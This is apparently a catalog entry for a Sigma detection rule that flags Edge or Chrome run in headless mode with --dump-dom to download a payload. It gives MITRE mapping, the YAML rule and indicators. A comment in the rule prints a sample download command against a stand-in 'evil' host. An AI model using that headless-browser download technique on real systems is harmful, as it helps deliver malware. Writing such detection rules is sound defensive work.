Edge/Chrome headless feature abuse for payload download

Status: experimental
Severity: high
Log source: category process_creation, product windows
Author: mdecrevoisier
Source: github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker executes Chrome in headless mode in order to download a payload. Document Object Model (DOM) may also be abused to download obfuscated data from attacker repositary.

Known false positives

None

MITRE ATT&CK coverage

Tactic	Techniques
Execution	`T1204` User Execution

Telemetry coverage

Provider	Record / event type
Security-Auditing	Event ID 4688: A new process has been created.

Rule body

title: Edge/Chrome headless feature abuse for payload download
description: Detects scenarios where an attacker executes Chrome in headless mode in order to download a payload. Document Object Model (DOM) may also be abused to download obfuscated data from attacker repositary.
references:
- https://twitter.com/mrd0x/status/1478234484881436672?t=oVqHbDQx9fsc6yWmNTV3eA&s=09
- https://developers.google.com/web/updates/2017/04/headless-chrome
- https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model
tags:
- attack.execution
- attack.t1204
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection: # full command: '[msedge.exe | chrome.exe] --headless --enable-logging --disable-gpu --dump-dom "http://server/evil.b64.html" > out.b64'
    EventID: 4688
    NewProcessName|endswith:
      - \msedge.exe
      - \chrome.exe
    CommandLine|contains|all:
      - '--dump-dom'
      - '--headless'
  condition: selection
falsepositives:
- None
level: high

Stages and Predicates

Stage 0: `condition`

selection

Stage 1: `selection`

selection:
  EventID: 4688
  NewProcessName|endswith:
    - \msedge.exe
    - \chrome.exe
  CommandLine|contains|all:
    - '--dump-dom'
    - '--headless'

Indicators

These rows show field, operator, and value matches.

Field	Kind	Values	Search
`CommandLine`	match	`--dump-dom` `--headless` corpus 8 (sigma 6, splunk 2)	`field:"CommandLine" kind:match`
`NewProcessName`	ends_with	`\chrome.exe` corpus 13 (sigma 13) `\msedge.exe` corpus 14 (sigma 14)	`field:"Image" kind:ends_with`